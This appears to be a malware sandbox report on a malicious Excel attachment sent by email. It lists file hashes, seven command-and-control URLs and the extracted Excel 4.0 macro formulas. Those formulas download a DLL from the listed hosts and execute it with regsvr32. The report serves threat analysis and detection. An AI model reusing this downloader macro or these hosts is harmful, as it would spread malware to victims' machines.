Overview

overview

10

Static

static

10

MAIL 02266434.xlsm

windows7-x64

10

MAIL 02266434.xlsm

windows10-2004-x64

1

Resubmissions

26-09-2022 19:23

220926-x31dhabgh3 10

26-09-2022 09:10

220926-k41dnsbdfj 10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    f7b41f96cdf2e5b87c0998d921d391c6d794c367672f0de46e5b8e0b8458f06c

  • Size

    172KB

  • MD5

    bc898bb78ac6b9fc427c8e0f6fd91983

  • SHA1

    dc9353048f9d9fcf91306725fa9296d461d75d57

  • SHA256

    f7b41f96cdf2e5b87c0998d921d391c6d794c367672f0de46e5b8e0b8458f06c

  • SHA512

    af91638bc4219d3e097a046eef9801f3ec436808434b6f241b05e11bf1f3d88c537d4edc0346c50eac7ad1419081134b0648ec17441b40bd1a0717b58dd31de9

  • SSDEEP

    3072:45SkGfftZkL98byp2A082B5f8y6SoZ79E3wDeEeMdPe4ReyAFM0aFtQQnFdxKo:2tgfHkeIZPo5f85ZmEBGmeyAFM0EtjFJ

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/

https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/

https://oneworldlantern.com/9A033MS/

https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/

https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/

https://andrewpharma.com/wp-includes/KKXAiWGL/

https://wxoperate.bb2play.com/framework/1zTlT1/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/","..\whxc.dll",0,0) =IF('IJEGVS'!H16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/","..\whxc.dll",0,0)) =IF('IJEGVS'!H18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://oneworldlantern.com/9A033MS/","..\whxc.dll",0,0)) =IF('IJEGVS'!H20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/","..\whxc.dll",0,0)) =IF('IJEGVS'!H22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/","..\whxc.dll",0,0)) =IF('IJEGVS'!H24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://andrewpharma.com/wp-includes/KKXAiWGL/","..\whxc.dll",0,0)) =IF('IJEGVS'!H26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wxoperate.bb2play.com/framework/1zTlT1/","..\whxc.dll",0,0)) =IF('IJEGVS'!H28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\whxc.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

    macroxlm

Files

  • f7b41f96cdf2e5b87c0998d921d391c6d794c367672f0de46e5b8e0b8458f06c
    .eml

    • http://www.huhandle.com/

    • http://www.caspauto.com/

  • MAIL 02266434.zip
    .zip

    Password: 821

  • MAIL 02266434.xlsm
    .xlsm office2007
  • email-html-1.txt
    .html